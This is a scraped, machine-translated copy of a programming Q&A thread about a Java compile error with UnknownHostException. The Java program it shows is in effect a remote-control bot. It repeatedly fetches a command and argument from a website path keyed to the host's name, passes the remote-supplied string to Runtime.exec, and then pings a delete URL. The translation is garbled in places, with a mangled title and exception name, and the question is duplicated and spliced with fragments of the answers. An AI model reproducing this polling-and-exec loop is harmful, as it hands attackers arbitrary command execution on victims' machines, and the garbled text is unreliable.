Java——Can';不要捕捉未知的异常
上面是我的Java程序。当我试着编译时,我得到了UnknownHostException。如果我试图捕捉它,它会说它已经被捕捉到,然后它会说它需要被捕捉到。在我上面的代码中,它说它需要被捕获,但没有说它已经被捕获。有人能帮忙吗?请注意,在实际代码中,“mywebsite”实际上是我的实际网站,但出于隐私原因,我将其从上面的代码块中删除。Java——Can';不要捕捉未知的异常,java,Java,上面是我的Java程序。当我试着编译时,我得到了UnknownHostException。如果我试图捕捉它,它会说它已经被捕捉到,然后它会说它需要被捕捉到。在我上面的代码中,它说它需要被捕获,但没有说它已经被捕获。有人能帮忙吗?请注意,在实际代码中,“mywebsite”实际上是我的实际网站,但出于隐私原因,我将其从上面的代码块中删除。InetAddress.getLocalHost()抛出未知后异常 您的catch块已经捕获了UnknownHostException的超类,但该调用在try块之
InetAddress.getLocalHost()
抛出未知后异常
您的catch块已经捕获了UnknownHostException
的超类,但该调用在try
块之外,因此它们没有帮助。错误的确切文本是什么?您是否将UnknownHostException捕获放在IOException之前或之后?亲爱的上帝,使用一个IDE,它将为您做适当的事情。请参阅下面的答案。他没有在try/catch中抛出异常的东西。“当我尝试编译时,我得到未知的hostException。”不,你没有。您会收到一条关于捕获该异常的编译器错误消息。+1-更具体地说,让他理解-他将UnknownHostException
的捕获放在错误的位置,而不是将InetAddress.getLocalHost()
放在try/catch中。
import java.net.*;
import java.io.*;
import java.util.*;
public class server{
public static void main(String args[]){
String hostname = "Unknown";
InetAddress addr;
addr = InetAddress.getLocalHost();
hostname = addr.getHostName();
do{
try {
URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
Scanner c2 = new Scanner(c.openStream());
Scanner cinfo2 = new Scanner(cinfo.openStream());
String c3 = c2.nextLine();
String cinfo3 = cinfo2.nextLine();
URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
if ("commandline".compareTo(c3) == 0){
Runtime.getRuntime().exec(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
if ("idle".compareTo(c3) == 0){
System.out.println("Waiting for a command.");
}
if ("print".compareTo(c3) == 0){
System.out.println(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
}
catch(IOException e) {
break;
}
catch(InterruptedException e){
break;
}
} while(true);
}
}